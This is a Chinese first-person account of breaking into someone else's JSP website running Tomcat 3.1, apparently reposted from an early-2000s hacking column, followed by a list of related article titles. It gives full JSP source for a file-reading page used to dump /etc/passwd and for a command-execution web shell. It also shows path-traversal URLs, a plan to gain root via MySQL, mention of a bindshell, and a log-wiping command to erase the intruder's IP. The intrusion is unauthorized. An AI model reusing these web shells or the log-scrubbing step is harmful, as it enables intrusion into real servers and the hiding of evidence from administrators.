现场纪实——如何入侵基于JSP的网站

js

 很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服。网站是用JSP开发的,出于个人爱好,我决定测试一下其系统的安全性。

telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]

  返回的结果如下:

HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

〈h1〉Error: 404〈/h1〉
〈h2〉Location: /CHINANSL〈/h2〉File Not Found〈br〉/CHINANSL

  获得了运行的WEBServer的名称“Tomcat 3.1”。记得曾经发现过这个版本的漏洞,并且post到bugtrap上去过。

  回忆一下,大概是通过“..”技术可以退出WEB目录,于是:

http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)

  看来安全状况似乎还不错,我们再来进行一下更深层的测试。Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context。于是尝试:

http://target:8080/admin/

  管理员果然没有删除或禁止访问这个目录,从安全的角度说,这点应该算是一个比较重要的失误。

  接着,点击“VIEW ALL CONTEXT”按钮,列出了WEB目录下的一些文件和目录的名称,很快发现了一个上传文件的组件,通过这个组件将一个JSP文件上传到对方的WEB目录里:

〈%@ page import="java.io.*" %〉
〈%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"〈br〉");
}
}catch(IOException e){}
%〉

  然后执行:

http://target:8080/upload/test.jsp?file=/etc/passwd
   密码出来了。接下来的过程是猜测密码,没有成功。不过,现在相当于有了一个SHELL,猜不出密码可以先把IE当作SHELL环境。
 再写一个JSP文件:

〈%@ page import="java.io.*" %〉
〈%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%〉

  然后把这个JSP再通过upload上传,有SHELL了。

http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(详细结果这里就不列出来了)

  怎么获得root权限呢?经过一番搜索发现系统安装了MySQL,并且从JSP的源代码中得到了MySQL的密码,执行:

sqld"〉http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld

  显示:

root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql

  系统是以root身份运行的MySQL。这时我思考了一下,既然知道了MySQL的密码,那就可以写一个SHELL程序,让它创建一个表,然后将我的数据放到表中,再使用“select ... into outfile;”的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?黑客就采用的这种办法)。

  之后就比较简单了,上传bindshell之类的程序,运行、获得nobody的权限,使用su root时帮忙创建的setuid shell让自己成为root。

  但是,接下来已经实际操作,结果令人颇感意外:

http://target:8080/upload/cmd.jsp?cmd=id

  显示:

uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)

  原来这个WEB SHELL本来就是ROOT!管理员的安全设置工作到底怎么做的?

http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份运行的(不列出来了)

  剩下的事情:

  1、删除我的telnet记录。

  2、删除http的日志。

  清除日志我使用的办法是:cat xxx |grep -V "IP" 〉〉temp然后在把temp覆盖那些被我修改过的日志文件。

  说明一点,我没有更换该网站的页面,因为我只是个网络安全爱好者。所以,发封邮件告诉system admin吧!当然,我顺便在信中提到,如果需要安盟信息科技为他提供安全服务的话,我们会非常的高兴!(T114)

时间: 2024-10-27 19:12:24

现场纪实——如何入侵基于JSP的网站的相关文章

现场纪实:如何入侵基于JSP的网站

js 编者:<现场纪实>是黑客攻防专区新推出的小版块.在这里我们将陆续为您介绍一些网上黑客入侵的真实案例,与以往从网站安全人员的角度讲述不同,这些案例都是从黑客的角度来描述入侵的全过程.通过这些案例,您可以很清楚了解到黑客在入侵一个网站时所采用的技术手段及采取的策略.涉及具体技术细节,本栏目会做相应处理,因为我们的目的是通过这样的技术交流共同提高网络的安全性,而非恶意攻击他人的计算机. 很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服.网站是用JSP开发的,出于个人爱好,我决定测试一下

入侵基于JSP+Tomcat的Web网站实录

js|web     很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服.网站是用JSP开发的,出于个人爱好,我决定测试一下其系统的安全性. telnet www.target.com 8080GET /CHINANSL HTTP/1.1[Enter][Enter] 返回的结果如下: HTTP/1.0 404 Not FoundDate: Sun, 08 Jul 2001 07:49:13 GMTServlet-Engine: Tomcat Web Server/3.1 (JSP 1.1;

JAVA高级:基于JSP的动态网站开发技术

js|动态|高级 动态网站开发技术 早期的动态网站开发技术使用的是CGI-BIN接口.开发人员编写与接口相关的单独的程序和基于Web的应用程序,后者通过Web服务器来调用前者.这种开发技术存在着严重的扩展性问题--每一个新的CGI程序要求在服务器上新增一个进程.如果多个用户并发地访问该程序,这些进程将耗尽该Web服务器所有的可用资源,直至其崩溃. 为克服这一弊端,微软公司提出了Active  Server  Pages(ASP)技术,该技术利用"插件"和API简化了Web应用程序的开发

基于JSP的动态网站开发技术_JSP编程

随着Web技术的发展和电子商务时代的到来,人们不再满足于建立各种静态地发布信息的网站,更多的时候需要能与用户进行交互,并能提供后台数据库的管理和控制等服务的动态网站. 动态网站开发技术 早期的动态网站开发技术使用的是CGI-BIN接口.开发人员编写与接口相关的单独的程序和基于Web的应用程序,后者通过Web服务器来调用前者.这种开发技术存在着严重的扩展性问题--每一个新的CGI程序要求在服务器上新增一个进程.如果多个用户并发地访问该程序,这些进程将耗尽该Web服务器所有的可用资源,直至其崩溃.

最新简捷实用JSP动态网站环境搭建的详细步骤

最新简捷实用JSP动态网站环境搭建的详细步骤,根据网上出现最新的web server软件UFO搭建网站,测试了N次,没问题: 最新简捷实用JSP动态网站环境搭建的详细步骤,根据网上出现最新的web server软件UFO搭建网站,测试了N次,没问题:    内容提示: Sun推出的JSP(Java Server Pages)是一种执行于服务器端的动态网页开发技术,它基于Java技术.执行JSP时需要在Web服务器上架设一个编译JSP网页的引擎.配置 JSP 环境可以有多种途径,但主要工作就是安装

用JSP动态网站环境搭建的详细步骤

  最新简捷实用JSP动态网站环境搭建的详细步骤,根据网上出现最新的web server软件UFO搭建网站,测试了N次,没问题: 内容提示: Sun推出的JSP(Java Server Pages)是一种执行于服务器端的动态网页开发技术,它基于Java技术.执行JSP时需要在Web服务器上架设一个编译JSP网页的引擎.配置 JSP 环境可以有多种途径,但主要工作就是安装和配置Web服务器和JSP引擎,介绍搭建最简易高质量的JSP运行环境的方案. 一.相关软件介绍 1. JDK:Java2的软件开

基于JSP的RSS阅读器的设计与实现方法(推荐)_JSP编程

阅读器访问地址:http://easyrss.tk/,欢迎体验! 阅读导览 一. 概述 二. 设计的基本概念和原理 三. 设计方案 四. 主要源代码 五. 阅读器使用说明 概述 获得信息是在人类的生活中是必不可少的环节.如果现在的社会对获得信息不快捷,那么这个社会将不会像如今这般的发达和进步.在当今网络技术相当发达的今天,大量的信息充斥在网上.现在网络越来越发达,用户在网上既能工作也能娱乐.当用户在网上需浏览很多个网站才能获取自己多需的信息时,那就感觉很累.因为现在每个网站都有很多信息,找到自己

基于JSP技术的网络教学平台设计

js|设计|网络 摘要 网络教学平台是面向教师和学生的网络教学系统,采用JSP+XML+SQL Server开发,对该平台的体系结构.功能进行了详细的分析,并介绍了设计中所采用的关键技术. 关键词 网络;三层结构;教学平台;JSP;流媒体 引言 随着计算机技术的飞速发展,信息网络已成为社会发展的重要保证.如何以网络为纽带快速.高效.方便地实现知识传递,以现代化手段促进教学改革,将传统的课堂教学转变为课堂+电脑+网络课堂+internet等多种学习方式,是教育工作者应当为之努力的方向.基于JSP技

基于JSP实现图片的数据库存储与显示

    基于JSP实现图片的数据库存储与显示 1.引言数据库应用程序,特别是基于WEB的数据库应用程序,常会涉及到图片信息的存储和显示.通常我们使用的方法是将所要显示的图片存在特定的目录下,在数据库中保存相应的图片的名称,在JSP中建立相应的数据源,利用数据库访问技术处理图片信息.但是,如果我们想动态的显示图片,上述方法就不能满足需要了.我们必须把图片存入数据库,然后通过编程动态地显示我们需要的图片.实际操作中,可以利用JSP的编程模式来实现图片的数据库存储和显示.2.     建立后台数据库